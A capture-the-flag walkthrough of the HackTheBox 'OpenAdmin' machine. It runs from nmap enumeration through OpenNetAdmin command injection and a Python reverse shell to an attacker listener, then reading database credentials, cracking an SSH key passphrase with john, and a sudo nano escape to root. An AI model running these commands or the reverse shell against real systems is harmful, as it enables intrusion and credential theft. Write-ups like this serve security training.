Enumeration

Run Nmap Scan

nmap -p- -T4 10.129.189.204

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 11:26 BST
Nmap scan report for 10.129.189.204
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 567.76 seconds
"

nmap -p 22,80 -sC -sV 10.129.189.204

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 11:36 BST
Nmap scan report for 10.129.189.204
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b98df85d17ef03dda48cdbc9200b754 (RSA)
|   256 dceb3dc944d118b122b4cfdebd6c7a54 (ECDSA)
|_  256 dcadca3c11315b6fe6a489347c9be550 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds
"

View Website

Directory Bruteforcing (Run Gobuster)

gobuster dir -u http://10.129.189.204/ -w /usr/share/wordlists/dirb/common.txt -z

"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.189.204/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/10/15 11:38:46 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/artwork              (Status: 301) [Size: 318] [--> http://10.129.189.204/artwork/]
/index.html           (Status: 200) [Size: 10918]                                   
/music                (Status: 301) [Size: 316] [--> http://10.129.189.204/music/]  
/server-status        (Status: 403) [Size: 279]                                     
                                                                                    
===============================================================
2023/10/15 11:40:00 Finished
===============================================================
"

Viewing website of found directories.

/Artwork

/Music

Click login button

And we found a admin website, OpenNetAdmin (ONA) version 18.1.1.

Exploitation

Searching for OpenNetAdmin Exploit

searchsploit opennetadmin

"
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Explo | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution   | php/webapps/47691.sh
---------------------------------------------- ---------------------------------
Shellcodes: No Results
"

searchsploit -x 47691

"
  Exploit: OpenNetAdmin 18.1.1 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47691
     Path: /usr/share/exploitdb/exploits/php/webapps/47691.sh
    Codes: N/A
 Verified: False
File Type: ASCII text
"

The exploit is done through OS command injection.

Exploit

cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .
chmod +x 47691.sh
./47691.sh http://10.129.189.204/ona/

"
$ whoami
www-data
$
"

We can do os command injection, but some of the commands are limited. Ex. changing directory by cd ../ but it changes back to the default directory after the command finishes.

Sending Reverse Shell to Attacker Machine

Checking Available Programming Language

python3 --version

"
Python 3.6.8
"

After finding program, we found python 3.6.8 in the victim machine

Python Reverse Shell Script

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<attacker ip>",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")

We make the reverse shell script to send this to the victim machine and to execute it.

Listen to Reverse Shell and Exploit

python3 reverse.py

nc -lvnp 4444

`
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.189.204.
Ncat: Connection from 10.129.189.204:57948.
$ whoami
whoami
www-data
$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@openadmin:/opt/ona/www$
`

Privilege Escalation

www-data to jimmy

Enumerating Credentials from Database Settings

# /opt/ona/www/local/config/database_settings.inc.php
cat database_settings.inc.php 

"
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
"

Try Su to Escalate to Jimmy

su - jimmy

"
Password: n1nj4W4rri0R!

jimmy@openadmin:~$
"

Jimmy to Joanna

Getting into Internal Directory

# /var/www
cd internal

"
bash: cd: internal: Permission denied
"

Using www-data account, permissions were limited

jimmy@openadmin:/var/www$ cd internal
cd internal
jimmy@openadmin:/var/www/internal$ ls
ls
index.php  logout.php  main.php

However, now I can access to the internal website Analyzing Index.php

<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

here it is comparing

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')

if the username is jimmy and the password in SHA-512 hash format Let’s crack it CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

website: internals
username: jimmy
password: Revealed

Accessing the Internal Website using SSH Port Forwarding

Using SSH, let’s connect the internal website that we can’t access using ssh port forwarding

ssh jimmy@10.129.189.204 -L 52846:localhost:52846

"
The authenticity of host '10.129.189.204 (10.129.189.204)' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.189.204' (ECDSA) to the list of known hosts.
jimmy@10.129.189.204's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 15 13:20:42 UTC 2023

  System load:  0.0               Processes:             182
  Usage of /:   31.1% of 7.81GB   Users logged in:       0
  Memory usage: 16%               IP address for ens160: 10.129.189.204
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$
"

Access to the internal website

Input the credentials that we gained

Save the private key

vi joanna_id_rsa.key

"
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
"

Re-Encoding the Joanna SSH Private Key

Convert the private key to johntheripper format

python2.7 /usr/share/john/ssh2john.py joanna_id_rsa.key

"
joanna_id_rsa.key:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d
"

Save the result hash

vi joanna.hash

"
$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d
"

Crack the password using the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt joanna.hash

"
Created directory: /home/htb-daeisbae/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (?)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:06 DONE (2023-10-15 14:50) 0.1483g/s 2127Kp/s 2127Kc/s 2127KC/sa6_123..*7¡Vamos!
Session completed
"

For most of the hashes, we use rockyou.txt to crack it.

password: bloodninjas

The pass phrase is a security measure to prevent unauthorized access to the private key. We are going to Re-Encode the joanna_id_rsa.key to id_rsa_joanna.

openssl rsa -in joanna_id_rsa.key -out id_rsa_joanna

"
Enter pass phrase for joanna_id_rsa.key:
writing RSA key
"

ssh -i id_rsa_joanna joanna@10.129.189.204

"
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 15 13:54:47 UTC 2023

  System load:  0.0               Processes:             187
  Usage of /:   31.2% of 7.81GB   Users logged in:       1
  Memory usage: 16%               IP address for ens160: 10.129.189.204
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$
"

Joanna to Root

Check Privilege

sudo -l

`
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
`

User Joanna can use sudo when it’s modifying /opt/priv using /bin/nano text editor

Finding a way to escalate privilege through Nano Text Editor

[nano | GTFOBins](https://gtfobins.github.io/gtfobins/nano/)

Exploit

sudo /bin/nano /opt/priv

Press Ctrl-R then Ctrl-X Then paste reset; sh 1>&0 2>&0 to the Command line and press enter.

Type clear to the command line

Overview

AWS Security

AWS Security Theory

Security Operations

HackTheBox Active Directory

HackTheBox Windows

HackTheBox Linux

HackTheBox OpenAdmin

Enumeration

Run Nmap Scan

View Website

Directory Bruteforcing (Run Gobuster)

Viewing website of found directories.

/Artwork

/Music

Exploitation

Searching for OpenNetAdmin Exploit

Exploit

Sending Reverse Shell to Attacker Machine

Checking Available Programming Language

Python Reverse Shell Script

Listen to Reverse Shell and Exploit

Privilege Escalation

www-data to jimmy

Enumerating Credentials from Database Settings

Try Su to Escalate to Jimmy

Jimmy to Joanna

Getting into Internal Directory

Accessing the Internal Website using SSH Port Forwarding

Re-Encoding the Joanna SSH Private Key

Joanna to Root

Check Privilege

Finding a way to escalate privilege through Nano Text Editor

Exploit

Reference

​Enumeration

​Run Nmap Scan

​View Website

​Directory Bruteforcing (Run Gobuster)

​Viewing website of found directories.

​/Artwork

​/Music

​Finding Login Menu

​Exploitation

​Searching for OpenNetAdmin Exploit

​Exploit

​Sending Reverse Shell to Attacker Machine

​Checking Available Programming Language

​Python Reverse Shell Script

​Listen to Reverse Shell and Exploit

​Privilege Escalation

​www-data to jimmy

​Enumerating Credentials from Database Settings

​Try Su to Escalate to Jimmy

​Jimmy to Joanna

​Getting into Internal Directory

​Accessing the Internal Website using SSH Port Forwarding

​Re-Encoding the Joanna SSH Private Key

​Login to the Joanna Account through SSH

​Joanna to Root

​Check Privilege

​Finding a way to escalate privilege through Nano Text Editor

​Exploit

​Reference

Enumeration

Run Nmap Scan

View Website

Directory Bruteforcing (Run Gobuster)

Viewing website of found directories.

/Artwork

/Music

Finding Login Menu

Exploitation

Searching for OpenNetAdmin Exploit

Exploit

Sending Reverse Shell to Attacker Machine

Checking Available Programming Language

Python Reverse Shell Script

Listen to Reverse Shell and Exploit

Privilege Escalation

www-data to jimmy

Enumerating Credentials from Database Settings

Try Su to Escalate to Jimmy

Jimmy to Joanna

Getting into Internal Directory

Accessing the Internal Website using SSH Port Forwarding

Re-Encoding the Joanna SSH Private Key

Login to the Joanna Account through SSH

Joanna to Root

Check Privilege

Finding a way to escalate privilege through Nano Text Editor

Exploit

Reference